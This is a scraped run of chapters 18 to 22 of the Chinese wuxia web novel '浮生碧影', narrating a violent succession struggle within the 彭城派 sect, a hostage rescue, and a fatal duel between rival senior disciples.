眼看着就要中午,阮云飞着弟子吩咐客栈老板整治饭食,饭毕众人便再度出发,往彭城派而去。紫璇自是要同去彭城派查验沈一峰的尸首,顺便和自己的师兄回合。方瑾瑜心想,既然已经入了局,如果能够和紫璇一起找到真凶才是最好的,便提出要同去。紫璇想到出现在倪家庄的各门派恐怕正在四处搜寻他,让他跟着反而比较安全,也就没有反对。 众人晓行夜宿,第二日中午时离徐州尚有四五十里。阮云飞让两名弟子快马先行,先回彭城派安排人来接应,还特别嘱咐要问一问近日可有别门别派的人来访。如此又行了二十里地,却惊讶得看到被遣去报讯的弟子仓皇而来,马背上还载着另一个人,乃是阮云飞出门时留在彭城派内的弟子周晏。阮云飞立刻下马,问是怎么回事,周晏便焦急地说起了经过。 原来,阮云飞九日前离开彭城派赴倪家庄之约,将派中事务托付给了大师兄潘尚怀照看。然而潘尚怀总是以各种理由将阮云飞留在派中的弟子差遣出去,但却从不见他们回来。于是,剩余的弟子便警觉起来,派周晏出来报讯。他刚一出城便发觉被人跟踪,无奈之下只得藏身于一处人家,求这家的年轻人在城门口守着,一旦见到阮云飞及其他弟子便立刻拦住,将此事告知。 阮云飞一时间还不能相信,又仔细问了他几个问题。周晏为了脱身没有再回去过,所知有限,并不清楚后来发生了什么。 紫璇在旁听着,想起了赵绪良和夏中宇的密谈,问道:“阮姐姐,夏中宇之外,潘尚怀也不满你代理掌门之职吗?” 阮云飞蹙眉:“并没有。潘师兄为人谦和,办事又稳重,峰哥在时就很倚重他。峰哥去后,纵使夏师兄有些不愿,潘师兄和陆师弟也都力主让我先来代理掌门。我还想着等峰哥大仇得报,我必得退位,而潘师兄就是最合适接任掌门的人选。”她见紫璇这样问,已明白了一半,故而又问了一句,“妹妹是觉得,潘师兄此举是为了夺取掌门之位?” “我和方公子在倪家庄听到赵绪良和夏中宇的秘谈,似乎潘尚怀也有心掌门之位。赵绪良还威胁夏中宇,如果他敢贸然行动,倪家庄就会找潘尚怀合作。”紫璇虽没有直接下结论,但意思已经很明显了。 “怎么会呢?潘师兄一向是很支持我们夫妇的啊。” “江湖之中,人心是最不能倚靠的。虽然此时我们还不能断定潘尚怀一定是在使坏,但防人之心不可无。” 阮云飞点头不语,各种思绪纷至沓来,霎时间似乎想到了什么可怕的事,猛地跨上马,就要冲出去。紫璇飞快地拉住缰绳,问她怎么了。 阮云飞罕见地失态:“默儿,我的孩子!” 紫璇恍然大悟,但还是死死的拉住马匹:“阮姐姐莫急,可否先听我说两句?” 阮云飞虽不情愿,但面对镇静的紫璇不得不稍稍收住想要即刻赶回家中的心,就在马上催促她快说。 紫璇尽量让自己的语气平和一些:“阮姐姐担心孩子,我明白。但现在有人觊觎掌门之位,眼看就要挑起内乱,孩子的安危只怕要先放一放……” 这句话立即惹来彭城派诸位弟子侧目,阮云飞也喝道:“你说什么!” 瑾瑜亦不明白紫璇为什么这样说话,她总不至于觉得孩子的命不重要吧。 紫璇仍旧沉稳,但加快了语速:“首先,潘尚怀的意图为何,我们并不知道。如果他的确要趁你不在夺取这掌门之位,必然已经有所布置,我们就这样贸贸然闯进去,很有可能落入他的陷阱,到时候别说救孩子,连姐姐和这些弟子们的性命都要搭进去。” 一番话点醒阮云飞,她尚 18. 生变(二) 《浮生碧影》全本免费阅读 阮云飞此次带出来的都是自己和沈一峰嫡系的弟子,十分可靠。众人将行李物事寄托给住在大路不远处的农人,并置换了衣衫,打马飞奔向徐州。 他们行得极快,一个时辰后弃置马匹,继续向东而行。此时离彭城派已不远,众人也愈发谨慎起来。七弯八绕,终于看到远处有一座小院。阮云飞低声向紫璇等人介绍:“这是陆师弟买下的院子,我不在派中,他应该会带着默儿住在这里。” 她前去叩门,瑾瑜和紫璇混在弟子之中,跟在阮云飞身后。 扣门不应,阮云飞见门没锁,便推门而入。院内空空荡荡,并没有半点声音。阮云飞惴惴不安地叫了一声:“默儿?” 无人应答,她又叫:“陆师弟?”仍旧无人回应。 阮云飞一面往前走一面环顾四周,墙上、地上并无血迹,院内陈设如旧,处处齐整,门窗紧闭,似乎已无人居住。穿过院子,行至主屋前,她正要推门,就听得四处破门之声不断,许多人从院子四围屋中纷纷涌出,均手持刀剑,逼得阮云飞和弟子们节节后退,聚在院子中央。 当先一人笑得十分得意,正是阮云飞大师兄潘尚怀之子潘睿,阮云飞竭力稳住心神,暂时不去想自己的儿子,呵斥道:“潘睿,这是你陆师叔的地方,你在这里干什么?” “自然是在此恭候婶子大驾。” “潘师兄有何见教?” “爹爹说,沈师叔已经仙去,婶子孤儿寡母的支撑门户十分不容易,这掌门人的重担嘛说什么也不能让婶子再担着了。” 阮云飞面露不屑:“我当是什么,原来是看上了这掌门之位。“ “婶子一介女流,我爹不过是看在同门份上,且让你在这个位子上坐几天,哪知婶子尽然认了真,不肯放权。” “我代为掌门,只是要为夫君报仇。事了之后,自然会将这位子传给师兄,这是我的承诺,我从未打算食言。潘师兄何必如此着急?”阮云飞好言好语,还想做最后一番挣扎,只要潘尚怀信任自己,或许可以不必闹得太僵。 哪知潘睿不但不信,反而变了颜色:“婶子这话就是欺负我们消息不灵通了!” 阮云飞莫名其妙,不免在声音里泄露出着急:“消息?什么消息?” “哼!你所谓的‘承诺’只不过在私下里说给我爹一人听过,你要否认还不容易?那比得上你和夏师叔公然投靠了倪家庄来的实实在在呢。” 阮云飞越发不懂:“你的意思是,师兄担心我和夏中宇勾结,要把这掌门之位传给他?” 潘睿眉毛倒竖,一副凶恶模样:“难道不是吗?夏师叔觊觎掌门之位多时,但苦无名分。如果在为前任掌门报仇之事中立下头功,又有现任掌门保举,那不就名正言顺了?” 阮云飞有心化解这桩误会,仍旧温言解释:“那师兄可以放心了。我已知夏中宇并非要真心协助我报仇雪恨,这‘保举’之说绝无可能。” 潘睿眯起半只眼睛:“婶子的话当真?” “我从不说假话。” 潘睿暗暗盘算片刻,最终把心一横:“就算如此,也难保夏师叔在背后不会做什么手脚。夜长梦多,不如婶子现在就写下掌门令,把掌门之位传于我爹吧。” 他不肯退让,孩子为上,阮云飞也只能先虚以委蛇:“此事好说,先交出默儿和你陆师叔来。” “婶子莫急,只要你拿出掌门令,我自然会告诉你他们在哪里。”潘睿也不是那么好糊弄的。 “先交人,否则你休想拿到这样东西。” “我在这里埋伏了上百号人,婶子还觉得有和我讨价还价的余地吗?” 阮云飞心下发慌,但面上仍旧平静如水,又重复了一遍:“先交人。” 潘睿威逼不成,一声呼喝,埋伏在四周的人皆往前冲,双方便动起手来。 瑾瑜早已忍耐不住,顺势便直冲向潘睿,向着他的面门就是一拳。潘睿本准备退守到后方等待胜果,刚退了两步就被瑾瑜追到,半边脸登时青肿起来。瑾瑜再出一拳,此时潘睿已有了防备,用剑柄隔开,两人便斗了起来。 紫璇等人也已和涌上来的其余人交上了手。围攻他们的都是彭城派弟子,阮云飞不忍下狠手,只想制伏他们,问出孩子和师弟的下落。紫璇没有那么多顾忌,匕首上下翻飞,专在对方手腕处下功夫,一时间已经刺伤十来人。跟随阮云飞同来的几名弟子自保尚可,但要想打败敌人,就比较困难了。 瑾瑜手无寸铁,以掌对剑,倒也暂时未落下风。只见潘睿剑尖向下,本欲刺瑾瑜小腿,瑾瑜向前一扑,双手攀住他肩头,双脚离地,向上一翻了过去。潘睿随机应变,手臂圈转,身子向后一扭,手中的剑便自然朝瑾瑜腰腹扫过去。瑾瑜腰腹向后一挺,双手已抓住他右臂,顺势一拉,潘睿便不由自主的往前扑跌。 瑾瑜见他倒地,便欲收手,自然而然地向后退开几步。哪知潘睿却并不罢手,一咕噜翻起,挺剑疾速刺来,瑾瑜斜着身子避过,仍是双手抓他右臂。但这一次潘睿应变更快,右手抬起数寸,避过瑾瑜双手的同时顺势斩落。 瑾瑜一惊,身子急剧跃起,躲过了这一下。但他重心已失,再想反击已是不能,眼见着潘睿的剑马上就要插入心口,突然从屋后跃下两个人来,一人扑向院中,居高临下,双脚不断飞舞,踢倒数人,紫璇和阮云飞所处的情势稍解。另一人直奔潘睿,潘睿此刻正全神贯注在瑾瑜身上,根本没有发觉院中的情势变化,只见那人转瞬间欺到潘睿身后,伸手在他肩头一抓,潘睿持剑的手立刻便没了力气。 紫璇大喜:“是自己人!” 来人是个年轻男子,他擒住潘睿,将剑横在他脖子上,大声向院中喝道:“潘睿已被我擒住,不想让他死的,赶快住手!” 此时尚有六七十人还在和紫璇等人缠斗,听到首领被擒,手上动作不自觉地慢了下来。紫璇刷刷刷几下又刺中了好几个,从房顶下来增援的那个女子也如法炮制,制住数人。阮云飞左冲右突,护住自己的弟子不至受伤。 瑾瑜在心里叫了一声“好险”,捡起潘睿的剑,立刻翻身去抵抗尚在还手的其余人。 而潘睿则在增援男子的胁迫下大叫了起来:“都快住手!快住手呀!”,样子狼狈,哪有刚才的跋扈模样。此次前来埋伏的人当中,武功较好的都是潘尚怀的亲传弟子,见师父的亲儿子被挟持,互相看了看,不得不停下手来。 阮云飞见来了援手,心下稍定,快步挪到紫璇身边,低声与她商量:“虽然暂时制住了他们,可默儿的下落……”她欲言又止,焦急之色比刚才更甚。 紫璇飞速看了一下全场,向来增援的男子递了眼色,二人一左一右,同时出手。众人只能看到两个模糊的影子在人群中闪展腾挪,随后刀剑落地之声响起,众人这才反应过来,他们已经点中了院中其他人的穴道、卸了他们的兵器。 “目前情势还不明朗,先把他们绑起来,我们仔细商量。”紫璇回到阮云飞身边说道。阮云飞点头,吩咐弟子去找绳索。 前来支援的那名女子将紫璇从头到脚仔细看了一遍,欢快地向自己的同伴说:“我看她好好的,没受伤、没生病,你白担心啦!” 瑾瑜看那男子猿臂蜂腰、身姿挺拔,当是常年习武之人,年纪比自己稍长。他听了那女子的话,淡淡一笑,只说了一句“没事就好”。 原航找来绳索,和众弟子协力绑住潘睿和其余人,先将他们丢到偏房中看管起来。阮云飞则带着紫璇几个入正房商议。 紫璇做中介,两边先互通了姓名。来人中的男子是紫璇的师兄,名叫江珺翊,是文远骥师弟江邵谦的儿子;另一位也是文远骥的女儿,唤作文紫瑛。 紫瑛玩笑似的推了紫璇一把:“什么叫‘也是我爹爹 19. 生变(三) 《浮生碧影》全本免费阅读 紫璇连忙将她扶起:“阮姐姐不必如此。路见不平拔刀相助本就是他们应该做的。” 江珺翊也道:“正是,稚子无辜,这等下作的手段,我们既然遇上了,就绝不可能袖手旁观。” 瑾瑜由衷赞叹:“江兄此话甚是有理。这样的恶性如果视而不见,任由起发生,又何来武林公义。” 紫瑛见阮云飞泪光闪闪,仍旧十分感伤,便绽开笑容故意逗她:“阮姐姐,你别怕,想报答我们特别容易。我听默儿说,她娘亲做的饭菜天下第一好吃,你给我们做顿饭当谢礼,如何?” 紫璇虽然摇了摇头,却也不禁弯了嘴角。 紫瑛想出了这么一个意料之外的“谢礼”,阮云飞既好笑又感动:“一顿饭而已,哪比得上……” 紫瑛不容她继续说:“阮姐姐可不要小瞧这顿饭。我已经和默儿打了赌了,要是不好吃,他以后就不能再吹牛了。你看,你的一顿饭干系甚大!” 这番孩子气的说辞终于抖落了阮云飞心中的重压,她笑道:“紫瑛妹妹的脾气,倒是和我家默儿相投。” 瑾瑜也开起了玩笑:“只让紫瑛姑娘来评价怕是不公允。不管怎么说,我也得得尝尝阮掌门的手艺,不能让默儿吃了黑心评委的暗亏。” 紫璇又摇了摇头,笑意更甚。 众人再次说起潘尚怀的阴谋。瑾瑜先道:“如今看来,潘尚怀的确意在掌门之位,甚至不惜动武硬来。” “我偏不叫他如意!”阮云飞猛拍了一下桌子。 紫璇仍旧冷静:“姐姐莫急。潘尚怀调度多日,派中此时他的势力最大。除了这次姐姐带出来的这几个人,您和沈掌门的其余弟子已被他化整为零,此时还不知陷于何处。两相对比,我们势单力薄,据理力争实非上策,不如暂避锋锐,先保全自己。” “不可!”阮云飞随即反驳,“你刚刚也说,我的弟子们还在他的手上,我怎能撒手不管?” “掌门人莫怪,要不要行动、如何行动取决于敌我的实力对比,所以晚辈先得问一句,如果你和潘尚怀对阵,能有多少胜算?”江珺翊问。 紫璇认同他的判断,又补充了一点:“还有夏中宇。” “夏中宇?怎么还有他的事?” “夏中宇也有弟子,彭城派内部的动静估计也瞒不过他。既然知道掌门之位有旁落的风险,他大概也是会来争上一争。” 阮云飞深以为然,先回答他二人的问题:“我们这一辈弟子中,属潘师兄入门最早,他的掌法不错,可是论武功机变,还是夏中宇最高。对潘师兄我尚可抵挡一阵,可要是对上夏中宇只怕难有胜算。若……”她停了一瞬,“若他们二人联手,我只有认输的份儿。” 紫瑛听到这里,插话道:“他们不是都要争这个掌门位子吗?怎么会联手?要是我们运气好,他们二人先争斗起来,阮姐姐岂不是可以坐收渔翁之利。” 紫璇却不像她这么乐观:“话虽如此,但把希望寄托在运气上到底风险太大。阮姐姐斗不过他们两个中的任何一方,我们又都是天魄门的人,此时也不便插手。如此形势下,要去硬拼,几无胜算。” “为何不能插手?阮姐姐被人欺负,我们帮帮她怎么了?”紫瑛不解。 “出手救人当然可以。但接下来要发生的事,无论怎么说,都是彭城派的内部斗争,我们是外人,不便参与进去。”紫璇向她解释。 瑾瑜江湖阅历少,听了紫璇的话也还是不明白:“可是他们无故要抢夺阮掌门的位子,这就是不义之举,你们帮助阮掌门可算是匡扶正义,难道不应该吗?” 江珺翊道:“所谓‘抢夺掌门之位’,江湖中除了我们,又有谁相信呢?毕竟潘、夏二人的野心从未公开,一旦事发,只要他们在事后找个由头就可遮掩过去。比如,潘尚怀可以说是夏中宇谋逆害死了沈掌门,然后自己轻轻松松登位,既扫清了障碍,又能把夏中宇排除出掌门候选人。在外人看来至多就是彭城派内部有矛盾而已,没有人会帮阮掌门说话。” “还有,倪家庄处心积虑,已经让天魄门沾上了杀害沈掌门的嫌疑,此时如果我们出手,就算能够帮助阮姐姐暂且稳住掌门之位,可日后的麻烦必定不小。”紫璇道。 瑾瑜有点理解了:“日后,阮掌门若和天魄门站在同一立场,江湖上的人会说,她与天魄门勾结……” 底下的话他没有说出来,不过紫璇已经点头,表示他的判断准确。她又看向阮云飞:“姐姐莫忘了,夏中宇背后还有倪家庄的势力。” 一番对话下来,阮云飞已经明白,今日这掌门之位必是很难守住了。正在踌躇间,江珺翊又道:“但阮掌门如果此时退避,就等于要将掌门之位拱手让出。阮掌门,”他再次向阮云飞发问,“你应该也不愿意这掌门之位为他人窃取吧。” “我彭城派历来严守公义,如让这等背信弃义之徒执掌门户,岂不是断送了我派百年清誉。” “所以,这掌门之位阮掌门还是要争。只不过,不可以强出头,也不能指望今日便获全胜。” 紫瑛被珺翊说得糊涂:“你这是什么意思?到底要阮姐姐怎么办?” “师兄的意思是,阮姐姐今日必得出面,才算是留下了日后夺回掌门之位的名分。只是,敌人势力大,我们难有胜场,必得先做好全身而退的准备才行。”紫璇解释道。 珺翊向她点头,带着赞赏的笑意:“璇儿说的不错,那你可有什么办法?” 这一日晚间,彭城派掌门已死的消息便流传开了,这倒不是潘尚怀故弄玄虚,他确实亲眼见到了阮云飞的尸体。 就在今天下午稍晚些时候,他派去在阮云飞师弟院子里蹲守的弟子回彭城派复命,带回了阮云飞身死的 20. 对峙(一) 《浮生碧影》全本免费阅读 差不多同时,城外偏僻陋巷之中,周晏引路,正带着紫璇等人正往一户人家而去。到得门首,周晏拍拍门,里面一个年轻男子粗声粗气地吼道:“谁啊!”似乎很不耐烦。 周宴不答,仍是敲个不停,门“嚯”地打开,一个短衣粗布的男子出现在了门内。 “阿成,是我。”周晏低声唤道。 阿成瞬间喜笑颜开:“你回来了!”又瞄了一眼他身后的几人,“他们是谁?掌门人呢?她还好吧?” 周晏心急如焚,飞快说道:“说来话长,现在家中方便吗,我们进去说?” 阿成眼色极好,忙让出路来。让众人一一进去,立刻又给门上好锁。他看到江珺翊手中被绑成粽子一般的潘睿,指着他:“这……潘睿他……” 紫璇淡淡一笑,只说:“阿成兄弟,有人要害阮掌门和她的孩子,我们是来找你帮忙的。” 阿成不知道她是谁,只能先望向周晏。周晏立刻向他说明:“这几位都是我师娘请来帮忙的好友,他们已经救下了师父的孩子和陆师叔,还擒住了意图作乱杀害师娘的潘睿。” “默儿和陆五爷都安好?可真是太好了!”阿成又向紫璇几人连连作揖,“谢谢几位大侠,阮掌门是我们的大恩人,你们救了她,就等于是救了我们。” “你帮阮姐姐庇护她的弟子,对她也是有恩。”紫瑛笑着说。 阿成连忙摆手:“这算得了什么,就是顺手的事情。” 江珺翊微微颔首,对阿成道:“时间紧迫,阮掌门指点我们来这里,是想让你帮我们混进彭城派,救出被潘尚怀关起来的弟子。” 说到阮云飞阿成无有不应承的,马上道:“掌门人的事,我们家就是就是拼上性命也得办好。”、 “这件事,干不好,说不定真的会要了性命。”紫璇严肃了神色,提醒他。 “阮掌门是我们一家的救命恩人,我爹常说,这一辈子怕是还不清这份恩情了。要是真能为了掌门人丢了性命,那也是值当的。”他说完,自觉不好意思,忙低下了头。 众人听他说的如此动情,都不禁有些感动,过了片刻紫璇才问:“你爹爹呢?他在家吗?” “说起这个我就一肚子气,我爹知道潘尚怀那老儿没安好心,在派中乱搞一器,已经好几日不去后厨了。哪知他们抓了我娘和妹子,要挟我们,我爹没办法……”说到这件事,阿成又委屈又愤慨。 紫瑛察觉出他的愧意,特意说:“这有什么,自己的家人最要紧,阮姐姐肯定不会怪你们。” 周晏又问:“既然老丁已经去了,你怎么还在这里?” “他们整日家胡吃海喝,后厨上原本预备着的米面酒肉等都不全了。那些天杀的无赖,就给了我一吊钱,让我把宴席要用的东西补全,哪里能够!没办法我只好上家里来取些钱,越想越气,就是不愿出门!” 紫瑛也生气地猛然踢了潘睿一脚:“你们好不要脸!璇儿,咱们今天可要好好治治这帮人!” 潘睿被绑的动弹不得,口中还给塞了布,被踹了也只能摇晃几下,哼哼两声。 紫璇心中已经有了计较:“阿成,要买的东西多吗?来几个送货的不成问题吧?“ 再说彭城派,派内诸事都掌握在潘尚怀的手上,他的两条命令自然顺利地得到了执行。天刚擦黑,彭城派正堂便人头攒动,众人听说现任掌门突然身亡,立刻放下各自手头上的事情,纷纷赶来。 此刻灵堂已经搭好,前方正中摆放着阮云飞的棺木,下首则是几个表示愿意与潘尚怀合作的阮云飞弟子,被放了出来,着孝服正在哀泣,潘尚怀的心腹弟子把守在旁。 夏中宇的弟子们聚在一角窃窃私语。潘尚怀的弟子则聚在另一侧,个个神色戒备。还有一些不知此中详情的人,正在交换彼此知道的消息,猜测事情的真相。 等人到的差不多了,潘尚怀才现身。他已经过了知天命之年,此刻不知是不是因为过于悲痛,脚步竟有一些踉跄,被一名弟子搀扶着缓缓走上堂来。潘尚怀是上任掌门的大弟子,在彭城派中除掌门之外属他的地位最尊。众人见是他来,便纷纷让出道路。 众弟子行礼毕,潘尚怀环顾众人,以极其沉痛的语气说道:“想必诸位已知,沈掌门大仇尚未得报,代掌门受倪家庄之邀,前往无锡寻找沈师弟被害的线索,却不幸在回来的路上被奸人暗算。新仇旧帐,若我们彭城派就这么算了,必定会遭到全江湖的耻笑。为今之计,必须要顺藤摸瓜,从阮师妹之死入手,查明真凶,为死去的二位掌门报仇!” 他的弟子们率先鼓噪,纷纷称赞自己的师父所言有理。其余人中有的点头,有的迟疑,声量就小得多了。然后便有一人上前:“师父,彭城派不可一日无主。若想要集合上下之力,共谋复仇大计,需得有人坐镇。” 另一人道:“刘师兄说的有理,还请师父莫辞辛劳,立刻正位掌门,带领我们为两位师叔报仇!” 夏中宇的弟子又不傻,见他们一唱一和,早已明白了潘尚怀的算盘,此时只做踌躇不决的模样,暗地里相互递起了眼色。 潘尚怀根本不在意这些,等自己的两个弟子铺垫完,马上应承:“危难当前,我们必得先团结一致对外才好。有掌门人带头,办起事来自然要容易一些……” 他话说到一半,远处便传来另一个略微年轻一点的男人声音:“师兄所言甚是有理,彭城派必得选出一位合适的掌门人才好。” 话音未落,大厅上又出现了一个人,正是夏中宇。他一到,他的弟子们就迅速围拢在他身后,潘尚怀的弟子也如法炮制,空气骤然紧张起来。哭灵的几位弟子也停了下来,趁无人注意快速起身躲到了不显眼的地方。 潘尚怀干笑了两声:“夏师弟,你不是应该和阮师妹一起回来么?怎么晚了一步?” “我在无锡多留了两日,查找杀死沈师弟的凶手。” “哦,是这样?” “凶手狡诈,岂是容易就有线索的。所幸我已经知道这背后之人是谁了。” 21. 对峙(二) 《浮生碧影》全本免费阅读 潘尚怀盘算着此刻堂上两方的势力,对夏中宇和他弟子的话充耳不闻。 夏中宇有意挑衅,大刺刺往上首的一张椅子上一坐,大声抱怨:“我一路辛苦,到了自己家里连口茶都没有。” 潘尚怀朝自己身后的弟子说了几句,他离开一会,端了一杯热茶出来。潘尚怀右手接过,仍旧皮笑肉不笑:“师弟,茶来了。”脸色一变,手中茶杯疾速飞出,夏中宇面不改色,从椅子上挺起身来,身子一转,已将茶杯握在手中。 潘尚怀掷杯,手法之快自不必说,奇的是杯中茶水毫无倾洒,显然是露了一手高妙的功夫。然而弟子们还没来得及喝彩,夏中宇已然稳稳接住了茶杯,也是一滴未洒,且接杯之时,似乎心不在焉,外人看上去必然觉得他的功夫还要更胜一筹。 夏中宇再次落座,吹去杯口浮沫,尝了一口便撇嘴:“这茶也太次了,果然没了师妹,想要喝一杯好茶都不能够。下次兄弟我再下江南,得了好茶,一定往师兄你这里送一点来。”停上一停,又看着潘尚怀摇头,“就是不知道师兄还有没有这样的口福。” 潘尚怀身后的弟子怒道:“你这是什么意思!” 夏中宇哈哈一笑:“你师父都还没动怒,你着什么急。” 潘尚怀微微抬手,制止了刚才那位弟子还想再说什么的意图,阴沉着脸:“夏师弟,你要争这掌门之位,本也无可厚非。咱们都是师父的弟子,眼下我彭城派接连死了两位掌门,当真是前所未有的危机,无论谁做掌门,能够带领子弟为两位掌门报仇才是重中之重……” “师兄言下之意,就是我没有带领子弟的能力了?”夏中宇耐心不多,懒得和他假装和睦。 “眼下你和阮师妹的死脱不了干系,我又怎能放心把掌门之位交托与你!” “说我害死了师妹,你可有证据?拿不出证据就是污蔑!你一样也有嫌疑。师兄啊,与其在这些闲事上争来争去,不如咱们功夫上见真章。废话少说,动手吧!”夏中宇飞身而起,双手变拳,攻了上去。 潘尚怀本就站着,见他起身便即刻运劲,左手护住要害,右手在他臂上一拂,卸去他一半力道。夏中宇一招不中,右手变掌直直从潘尚怀头顶劈下。潘尚怀不敢硬接,腰部下沉,手脚并用,攻击夏中宇下盘,试图逼他收招自保。夏中宇双腿大开,往空中一跃,避过了这一招,如此一来潘尚怀的“灭顶之灾”也即刻解了。 夏中宇在潘尚怀身后落下,顺手擒住了对方的两名弟子:“师兄,这几年来你的功夫倒没落下,似乎练得比以前更勤呐。”双手用力,两名弟子面对面撞在一起,登时死了。夏中宇狞笑数声,将两人的尸首远远掷出,冲潘尚怀余下的弟子们叫道:“潘师兄护不住你们,不如拜我为师吧。” 潘尚怀的弟子们果然被吓住,目瞪口呆的同时纷纷退后,闪避不已。潘尚怀怒吼一声,再次攻上。夏中宇口中说着话,手上动作却丝毫不停,向着他的小腹就是一掌。潘尚怀硬生生受了这一下,右掌也击中了夏中宇的胸口,但速度上终究慢了一些,力道大减,没能伤得了他。 潘尚怀的弟子见师父中招,其中几个较为心腹的鼓动大家上前,夏中宇的弟子也亮出兵刃,不多会儿,堂上堂下便充满了打斗之声。 正堂中暂时难分胜负,后巷中则是另一番景象。 紫璇几人伪装成随阿成送菜蔬酒肉的伙计,从后门进了彭城派,一路上并无人盘查。见了老丁,说明原委,又向他问明了妻女的所在,紫璇姐妹随阿成去救。江珺翊则留下来嘱咐老丁:“一会你老婆孩子来了就赶紧逃走,千万别回家,我已叫阿成把所有盘缠都带在身上了,你们能跑多远就跑多远。过几个月要是听见阮掌门一家无事,你们再回来。” 老丁一听便知不好:“你你你……这是何意?阮掌门和陆五爷都是厉害人,潘尚怀再怎么折腾,也不可能越过她去呀。” 江珺翊没时间与他细说,直接搬出阮云飞来:“这也是阮掌门的意思,她总是希望稳妥些好。总之你离开这里之后一定要走得远远的。要是你不答应,阮掌门可是会怪我们的。” 老丁虽不十分明白,但阮云飞的想法总不会错的,便不再争辩,任由珺翊吩咐。 安顿好这边,周晏便带着江珺翊和瑾瑜出了后厨,往关押阮云飞弟子偏院而去。三人一路小心,只在黑暗中行走。突然,原航带着十来个人从另一扇门内跑出,后面跟着向潘尚怀报告阮云飞死讯的弟子。 原来原航等人和阮云飞的其他弟子被囚禁在了一处,押送他们的潘尚怀弟子给看押之人带去了阮云飞身死、师父召见的消息。就在他们要离开之际,原航几个趁其不备,偷袭得手,捆了看押之人,救出了师弟妹。 见到江珺翊,他们便立刻上前。一切顺利,原航的眼睛亮亮的,对江珺翊道:“江公子,人都救出来了,有几个人受了伤,但不重。” 潘尚怀的弟子也急忙跟过来,为首一人心焦不已:“江公子、江大侠,人我们救出来了,你们可不能食言,快把解药给我们。”其余人也嘟囔着:“是啊,赶紧给我们解药吧。” 江珺翊面孔严肃:“此间事还没有了,我师妹自然是不会现在就给你们解毒的。” “你们还想要什么?”为首一人委屈问道。 “先告诉我们派中如今的局势如何?” 他们便七嘴八舌说起了潘尚怀的安排部署,还告诉他们,派中众人听说掌门身故,都往正堂去了。当然,他们还不知夏中宇也已经赶到,正在和自己的师父性命相搏。 这边正说着,紫璇姐妹两个也已完成任务,找到了大部队。 “人救出来了?”江珺翊问。 “放心吧,人我们直接送到了后厨和老丁回合。老丁早备好了车,我们可是亲眼看着他们走的,再过一会就走远啦。”紫瑛道。 江珺翊点点头,又看了一眼潘尚怀和阮云飞的众弟子,向求解药的那帮人说:“想要解药容易,帮我们脱离这里便可。” 为首之人疑惑不解:“你们已经逃出来了,还要我们做什么?” “这么多人一起走没有掩护可不行,你们是潘尚怀的弟子,要带人出去总是更加容易一些。” 这几人尚在思考,江珺翊又道:“只要将他们平安带出城,我师妹自然会把解药交给你们。” 形势紧迫,江珺翊不欲和他们多话,又拉过紫瑛与她耳语:“有一件事,只有你能办。”紫瑛听罢却不乐意:“ 22. 对峙(三) 《浮生碧影》全本免费阅读 正堂之上仍旧刀剑之声不断,不断有人顺手抄起身边的桌椅陈设,要么当做武器投掷出去,要么当做屏障稍微抵挡一阵。 潘尚怀和夏中宇已经从堂上打到了院中,只听得掌风呼呼,两人都使出了十成功力。夏中宇功夫较潘尚怀为高,好几次都差点击中对方要害。但潘尚怀毕竟经验老道,应变能力自是不差。如此一来,双方渐成僵持之势。众弟子们都在相互拼杀,既无暇他顾,也不敢在两位高手过招时掺和进来。 夏中宇原本并没有把潘尚怀放在眼里,没成想他十年来苦心孤诣,功夫上竟也有老大进益。一时之间拿他不下,不免心中焦急,他双掌急翻,抽身回撤,同时向空中大喊:“赵兄,你还不现身吗?” 他在胜负难分之际突然后退,潘尚怀正不知这是何种套路,又听他似乎还有帮手,心中越发惊疑,然后便听到耳后生风,有人从身后攻来。他不及多想,身子本能地便往前扑,而夏中宇此刻也揉身扑上,眼见着就要被前后夹击,潘尚怀心道不好,连忙使出浑身解数往左边窜出。 身后之人不知是提前料到此节,还是当真速度太快,潘尚怀清楚地听到他仍然紧紧地跟在自己身后,面前夏中宇再次赶到,他心中更慌,情急之下身子往地上一缩,从夏中宇□□滚了过去。 夏中宇大声嘲笑他的狼狈,挥掌再次扑倒,潘尚怀刚刚勉强站稳,身子急向后仰,却再次感到背后有一股劲风袭来。两面夹击之下,潘尚怀只得将平生功力贯于右掌,只求自己出掌能快过迎面而来的夏中宇。 然而事与愿违,他的手臂尚未伸直,夏中宇的掌心已抵上了自己的膻中穴。 其余众人似乎都被这样的场面惊呆了,莫不停手怔忡,无一人敢上前扶起已经委顿在地的潘尚怀。 与此同时,院门口响起一声凄厉的叫喊,一个人疯狂地想要扑向潘尚怀,却被绳索绑缚着,手脚都动弹不得,情绪激动之下只能滚到地上,一点点往潘尚怀那边挪动。来人说不出话,只能从喉咙中发出一声又一声喊叫,在当下这个场面中听来更显得凄厉。瑾瑜看了很是不忍,挥剑斩断他的绳索。没了束缚,潘睿顾不上其他,连滚带爬地扑到了自己父亲身上。 这一下大出众人意料,夏中宇尚未反应过来,正堂之上又传来一阵惊呼。他即刻回身,却看到阮云飞好端端地站在那里,身后还跟着一个年轻女子。 变故陡生,夏中宇根本顾不上去想阮云飞怎么又“活”过来了,眼下防止她和潘尚怀联手才是此刻的第一要务。他再次回转身子,立刻便要向潘尚怀补上一掌,潘睿却死死挡在父亲身前。夏中宇怎么会为此犹豫,掌风不停,朝着潘睿直直落下。 紫璇左足一点,飞身越过院中诸人,攻向夏中宇后腰,让他不得不回身自救。阮云飞也从斜刺里奔出,越过夏中宇,挡在潘式父子身前。 两方暂时罢斗,众人这才看清潘尚怀后方还有一人。阮云飞几人自然认得,正是倪家庄中所见的赵绪良。 潘尚怀口中鲜血狂喷,瞬时间已经染透了潘睿的衣襟,他费力地想要抬头,似乎有话要讲,可是不待他拼出一口气来,全身力气骤失,伸到一半的头猛地垂下。“爹!爹!”潘睿一声声叫着,旁人听来亦觉得十分哀痛。 阮云飞出离愤怒,咬牙直视赵绪良:“赵兄,短短几日我们竟然又见面了。你出手害死潘师兄,是要与我彭城派为敌吗?” 赵绪良挂着无赖的笑容,懒洋洋说道:“阮掌门可别瞎说。我不过在这院子里站一站,可从来没出过手啊。这里这么多双眼睛,可都是看的清清楚楚的。” 阮云飞重重地“哼”了一声,又转向夏中宇:“夏师兄,你残害同门,按照彭城派的规矩,恕师妹我不能容你。”尾音未落,人已纵身而上。 紫璇怕她有失,也急忙从后方抢上,挡住了赵绪良的来路。瑾瑜见状,使出轻功,持剑落在紫璇身侧,也和赵绪良对峙着,一面又不住的回头去看阮云飞那边的战况。 